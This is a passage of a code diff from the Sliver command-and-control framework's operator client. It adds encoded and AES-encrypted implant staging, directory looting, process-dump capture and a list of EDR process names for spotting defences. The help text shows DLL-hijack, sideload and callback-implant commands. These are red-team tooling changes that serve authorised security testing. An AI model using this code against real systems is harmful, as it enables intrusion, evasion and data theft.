resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.Printf("success!\n")
fileData = resp.GetData()
}
}
}
saveTo, err := saveLocation(save, generated.File.Name)
if err != nil {
return nil, err
}
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
err = ioutil.WriteFile(saveTo, fileData, 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
+4
View File
@@ -100,6 +100,10 @@ func printHelp(con *console.SliverConsoleClient) {
con.Println()
}
}
con.Println()
con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
con.Println()
}
func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
+26 -7
View File
@@ -71,7 +71,7 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadMacrosHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
@@ -279,7 +279,26 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
[[.Bold]]About:[[.Normal]] Download a file from the remote system.`
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit downloads to file names matching given criteria. Filters DO NOT apply to directory names.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
download /etc/*.conf will download all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
Downloads can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
@@ -346,8 +365,8 @@ Sideload a MacOS shared library into a new process using DYLD_INSERT_LIBRARIES:
sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
Sideload a Linux shared library into a new bash process using LD_PRELOAD:
sideload -p /bin/bash /tmp/mylib.so
Sideload a Windows DLL as shellcode in a new process using sRDI, specifying the entrypoint and its arguments:
sideload -a "hello world" -e MyEntryPoint /tmp/mylib.dll
Sideload a Windows DLL as shellcode in a new process using Donut, specifying the entrypoint and its arguments:
sideload -e MyEntryPoint /tmp/mylib.dll "argument to the function MyEntryPoint"
[[.Bold]]Remarks:[[.Normal]]
Linux and MacOS shared library must call exit() once done with their jobs, as the Sliver implant will wait until the hosting process
@@ -371,7 +390,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
`
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
@@ -657,8 +676,8 @@ supplied with the --profile flag.
# Use a local DLL for a hijack
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
+45
View File
@@ -19,10 +19,14 @@ package info
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
@@ -120,9 +124,50 @@ func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if session == nil && beacon == nil {
return
}
var isWin bool
con.Printf("Logon ID: ")
if session != nil {
con.Printf("%s\n", session.Username)
if session.GetOS() == "windows" {
isWin = true
}
} else if beacon != nil {
con.Printf("%s\n", beacon.Username)
if beacon.GetOS() == "windows" {
isWin = true
}
}
if isWin {
cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if cto.Response != nil && cto.Response.Async {
con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, cto)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintTokenOwner(cto, con)
})
con.PrintAsyncResponse(cto.Response)
} else {
PrintTokenOwner(cto, con)
}
}
}
func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
if cto.Response != nil && cto.Response.Err != "" {
con.PrintErrorf("%s\n", cto.Response.Err)
return
}
con.PrintInfof("Current Token ID: %s", cto.Output)
}
+3 -2
View File
@@ -31,9 +31,9 @@ import (
func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domains := strings.Split(ctx.Flags.String("domains"), ",")
for _, domain := range domains {
for index, domain := range domains {
if !strings.HasSuffix(domain, ".") {
domain += "."
domains[index] += "."
}
}
@@ -47,6 +47,7 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Port: uint32(lport),
Canaries: !ctx.Flags.Bool("no-canaries"),
Persistent: ctx.Flags.Bool("persistent"),
EnforceOTP: !ctx.Flags.Bool("disable-otp"),
})
con.Println()
if err != nil {
+58
View File
@@ -19,13 +19,17 @@ package jobs
*/
import (
"bytes"
"compress/zlib"
"context"
"net/url"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -33,6 +37,9 @@ import (
func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
profileName := ctx.Flags.String("profile")
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
compress := strings.ToLower(ctx.Flags.String("compress"))
if profileName == "" || listenerURL == "" {
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -56,12 +63,58 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Profile not found\n")
return
}
aesEncrypt := false
if aesEncryptKey != "" {
// check if aes encryption key is correct length
if len(aesEncryptKey)%16 != 0 {
con.PrintErrorf("Incorect length of AES Key\n")
return
}
// set default aes iv
if aesEncryptIv == "" {
aesEncryptIv = "0000000000000000"
}
// check if aes iv is correct length
if len(aesEncryptIv)%16 != 0 {
con.PrintErrorf("Incorrect length of AES IV\n")
return
}
aesEncrypt = true
}
stage2, err := generate.GetSliverBinary(profile, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
switch compress {
case "zlib":
// use zlib to compress the stage2
var compBuff bytes.Buffer
zlibWriter := zlib.NewWriter(&compBuff)
zlibWriter.Write(stage2)
zlibWriter.Close()
stage2 = compBuff.Bytes()
case "gzip":
stage2 = util.GzipBuf(stage2)
case "deflate9":
fallthrough
case "deflate":
stage2 = util.DeflateBuf(stage2)
}
if aesEncrypt {
// PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude
// but it's also useful here as more advanced cipher modes are often difficult to implement in
// a stager.
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
switch stagingURL.Scheme {
case "http":
ctrl := make(chan bool)
@@ -125,4 +178,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
return
}
if aesEncrypt {
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
}
+10 -6
View File
@@ -27,6 +27,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/desertbit/grumble"
)
@@ -41,7 +42,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if !confirm {
return
}
err := KillSession(session, ctx.Flags.Bool("force"), con)
err := KillSession(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -54,7 +55,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if !confirm {
return
}
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
err := KillBeacon(beacon, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -67,28 +68,31 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
if session == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: int64(ctx.Flags.Int("timeout")),
},
Force: force,
Force: ctx.Flags.Bool("force"),
})
core.Sessions.Remove(session.ID)
return err
}
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
if beacon == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
BeaconID: beacon.ID,
Timeout: int64(ctx.Flags.Int("timeout")),
},
Force: force,
Force: ctx.Flags.Bool("force"),
})
return err
+14 -4
View File
@@ -55,10 +55,20 @@ func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient
switch credType {
case clientpb.CredentialType_USER_PASSWORD.String():
loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
usernamePrompt := &survey.Input{Message: "Username: "}
survey.AskOne(usernamePrompt, &loot.Credential.User)
passwordPrompt := &survey.Input{Message: "Password: "}
survey.AskOne(passwordPrompt, &loot.Credential.Password)
for loot.Credential.User == "" {
usernamePrompt := &survey.Input{Message: "Username: "}
survey.AskOne(usernamePrompt, &loot.Credential.User)
if loot.Credential.User == "" {
con.Println("Username is required")
}
}
for loot.Credential.Password == "" {
passwordPrompt := &survey.Input{Message: "Password: "}
survey.AskOne(passwordPrompt, &loot.Credential.Password)
if loot.Credential.Password == "" {
con.Println("Password is required")
}
}
case clientpb.CredentialType_API_KEY.String():
loot.CredentialType = clientpb.CredentialType_API_KEY
usernamePrompt := &survey.Input{Message: "API Key: "}
+9 -1
View File
@@ -176,7 +176,15 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
filename := ""
if loot.File != nil {
filename = loot.File.Name
}
if loot.Name == filename {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, filename, loot.Type, loot.LootID)
}
}
table.Flush()
options := strings.Split(buf.String(), "\n")
+10 -4
View File
@@ -159,14 +159,20 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "Type\tName\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
fmt.Fprintln(table, "Type\tName\tFile Name\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Type")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("File Name")),
strings.Repeat("=", len("UUID")),
)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
filename := ""
if loot.File != nil {
filename = loot.File.Name
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, filename, loot.LootID)
}
table.Flush()
@@ -401,7 +407,7 @@ func isText(sample []byte) bool {
// last char may be incomplete - ignore
break
}
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
// decoding error or control character - not a text file
return false
}
+207 -67
View File
@@ -19,9 +19,14 @@ package loot
*/
import (
"archive/tar"
"bytes"
"compress/gzip"
"context"
"fmt"
"path"
"io"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -29,8 +34,198 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
func ValidateLootType(lootTypeInput string) (clientpb.LootType, error) {
var lootType clientpb.LootType
var err error
if lootTypeInput != "" {
lootType, err = lootTypeFromHumanStr(lootTypeInput)
if err != nil {
/*
If we get an error, that means that this loot type was invalid.
We will leave it up to the caller to handle the error (output it
to the console for example)
*/
return lootType, fmt.Errorf("Invalid loot type %s", lootTypeInput)
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
return lootType, err
}
func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType {
lootFileType, err := lootFileTypeFromHumanStr(lootFileTypeInput)
if lootFileType == -1 || err != nil {
if isText(data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
return lootFileType
}
/*
Eventually this function needs to be refactored out, but we made the decision to
duplicate it for now
*/
func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
<-ctrl
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
}
})
con.PrintAsyncResponse(download.Response)
}
if download.Response != nil && download.Response.Err != "" {
return nil, fmt.Errorf("%s\n", download.Response.Err)
}
// Decode the downloaded data if required
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
return nil, fmt.Errorf("Decoding failed %s", err)
}
}
return download, nil
}
func CreateLootMessage(fileName string, lootName string, lootType clientpb.LootType, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
if lootName == "" {
lootName = fileName
}
lootMessage := &clientpb.Loot{
Name: lootName,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: fileName,
Data: data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
lootMessage.CredentialType = clientpb.CredentialType_FILE
}
return lootMessage
}
func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) {
control := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control)
loot, err := con.Rpc.LootAdd(context.Background(), loot)
control <- true
<-control
if err != nil {
con.PrintErrorf("%s\n", err)
}
if loot.Name != loot.File.Name {
con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.LootID)
} else {
con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.LootID)
}
return
}
func LootDownload(download *sliverpb.Download, lootName string, lootType clientpb.LootType, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
// Was the download successful?
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
/* Construct everything needed to send the loot to the server
If this is a directory, we will process each file individually
*/
// Let's handle the simple case of a file first
if !download.IsDir {
// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, lootType, fileType, download.Data)
SendLootMessage(lootMessage, con)
} else {
// We have to decompress the gzip file first
decompressedDownload, err := gzip.NewReader(bytes.NewReader(download.Data))
if err != nil {
con.PrintErrorf("Could not decompress downloaded data: %s", err)
return
}
/*
Directories are stored as tar-ed gzip archives.
We have gotten rid of the gzip part, now we have to sort out the tar
*/
tarReader := tar.NewReader(decompressedDownload)
// Keep reading until we reach the end
for {
entryHeader, err := tarReader.Next()
if err == io.EOF {
// We have reached the end of the tar archive
break
}
if err != nil {
// Something is wrong with this archive. Stop reading.
break
}
if entryHeader == nil {
/*
If the entry is nil, skip it (not sure when this would happen,
but we do not want to attempt operations on something that is nil)
*/
continue
}
if entryHeader.Typeflag == tar.TypeDir {
// Keep going to dig into the directory
continue
}
// The implant should have only shipped us files (the implant resolves symlinks)
// Create a loot message for this file and ship it
/* Using io.ReadAll because it reads until EOF. We have already read the header, so the next EOF should
be the end of the file
*/
fileData, err := io.ReadAll(tarReader)
if err == nil {
lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, lootType, fileType, fileData)
SendLootMessage(lootMessage, con)
}
}
}
}
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -38,77 +233,22 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
remotePath := ctx.Args.String("path")
fileName := filepath.Base(remotePath)
name := ctx.Flags.String("name")
if name == "" {
name = path.Base(remotePath)
}
var lootType clientpb.LootType
var err error
lootTypeStr := ctx.Flags.String("type")
if lootTypeStr != "" {
lootType, err = lootTypeFromHumanStr(lootTypeStr)
if err == ErrInvalidLootType {
con.PrintErrorf("Invalid loot type %s", lootTypeStr)
return
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err) // Download failed
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
// Determine type based on download buffer
lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
if lootFileType == -1 || err != nil {
if isText(download.Data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
loot := &clientpb.Loot{
Name: name,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: path.Base(remotePath),
Data: download.Data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
loot.CredentialType = clientpb.CredentialType_FILE
}
loot, err = con.Rpc.LootAdd(context.Background(), loot)
ctrl <- true
<-ctrl
lootType, err := ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
download, err := PerformDownload(remotePath, fileName, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Determine type based on download buffer
lootFileType := ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
LootDownload(download, name, lootType, lootFileType, ctx, con)
}
+3
View File
@@ -57,10 +57,13 @@ func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleC
if session == nil {
return
}
var options []bool
options = append(options, ctx.Flags.Bool("allow-all"))
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
Type: sliverpb.PivotType_NamedPipe,
BindAddress: ctx.Flags.String("bind"),
Request: con.ActiveTarget.Request(ctx),
Options: options,
})
if err != nil {
con.PrintErrorf("%s\n", err)
+23 -3
View File
@@ -23,6 +23,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
@@ -40,7 +41,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
AESKey: aesKey,
}
sessionMapper := prelude.InitSessionMapper(config)
implantMapper := prelude.InitImplantMapper(config)
con.PrintInfof("Connected to Operator at %s\n", url)
if !skipExisting {
@@ -52,9 +53,28 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, session := range sessions.Sessions {
err = sessionMapper.AddSession(session)
if !session.IsDead {
err = implantMapper.AddImplant(session, nil)
if err != nil {
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
}
}
}
con.PrintInfof("Done !\n")
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get beacon list: %s", err)
return
}
if len(beacons.Beacons) > 0 {
con.PrintInfof("Adding existing beacons ...\n")
for _, beacon := range beacons.Beacons {
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
if err != nil {
con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
}
}
con.PrintInfof("Done !\n")
+2 -2
View File
@@ -25,8 +25,8 @@ import (
)
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if prelude.SessionMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
if prelude.ImplantMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
return
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
+31 -3
View File
@@ -24,7 +24,9 @@ import (
"io/ioutil"
"os"
"path/filepath"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -42,6 +44,8 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pid := ctx.Flags.Int("pid")
name := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("loot-name")
if pid == -1 && name != "" {
pid = GetPIDByName(ctx, name, con)
@@ -78,11 +82,23 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintProcessDump(dump, saveTo, hostname, pid, con)
if saveLoot {
LootProcessDump(dump, lootName, hostname, pid, con)
}
if !saveLoot || saveTo != "" {
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
})
con.PrintAsyncResponse(dump.Response)
} else {
PrintProcessDump(dump, saveTo, hostname, pid, con)
if saveLoot {
LootProcessDump(dump, lootName, hostname, pid, con)
}
if !saveLoot || saveTo != "" {
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
}
}
@@ -99,7 +115,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0o600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
@@ -119,3 +135,15 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
}
return ""
}
func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) {
timeNow := time.Now().UTC()
dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405"))
if lootName == "" {
lootName = dumpFileName
}
lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, dump.GetData())
loot.SendLootMessage(lootMessage, con)
}
+24 -14
View File
@@ -37,15 +37,21 @@ var (
// Stylizes known processes in the `ps` command
knownSecurityTools = map[string][]string{
// Process Name -> [Color, Stylized Name]
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
}
)
@@ -110,13 +116,13 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
switch os {
case "windows":
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable", "session"})
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
case "darwin":
fallthrough
case "linux":
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
fallthrough
default:
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
}
cmdLine := ctx.Flags.Bool("print-cmdline")
@@ -134,8 +140,8 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
tw.AppendRow(row)
}
tw.SortBy([]table.SortBy{
{Name: "pid", Mode: table.Asc},
{Name: "ppid", Mode: table.Asc},
{Name: "pid", Mode: table.AscNumeric},
{Name: "ppid", Mode: table.AscNumeric},
})
if !interactive {
overflow = true
